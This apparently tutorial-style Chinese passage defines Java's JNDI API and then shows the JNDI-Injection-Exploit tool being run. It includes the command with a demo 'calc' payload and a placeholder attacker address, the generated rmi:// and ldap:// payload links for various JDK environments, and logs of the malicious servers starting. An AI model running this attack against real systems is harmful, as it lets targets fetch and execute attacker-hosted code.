JNDI(Java Naming and Directory Interface–Java命名和目录接口)是Java中为命名和目录服务提供接口的API,通过名字可知道,JNDI主要由两部分组成:Naming(命名)和Directory(目录),其中Naming是指将对象通过唯一标识符绑定到一个上下文Context,同时可通过唯一标识符查找获得对象,而Directory主要指将某一对象的属性绑定到Directory的上下文DirContext中,同时可通过名字获取对象的属性同时操作属性。
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "attacker server ip addr" [ADDRESS] >> attacker server ip addr [COMMAND] >> calc ----------------------------JNDI Links---------------------------- Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath): rmi://attacker server ip addr:1099/emqemo Target environment(Build in JDK 1.7 whose trustURLCodebase is true): rmi://attacker server ip addr:1099/dzjoi9 ldap://attacker server ip addr:1389/dzjoi9 Target environment(Build in JDK 1.8 whose trustURLCodebase is true): rmi://attacker server ip addr:1099/e54bwj ldap://attacker server ip addr:1389/e54bwj
----------------------------Server Log---------------------------- 2022-2-23 17:32:50 [JETTYSERVER]>> Listening on 0.0.0.0:8180 2022-2-23 17:32:50 [RMISERVER] >> Listening on 0.0.0.0:1099 2022-2-23 17:32:50 [LDAPSERVER] >> Listening on 0.0.0.0:1389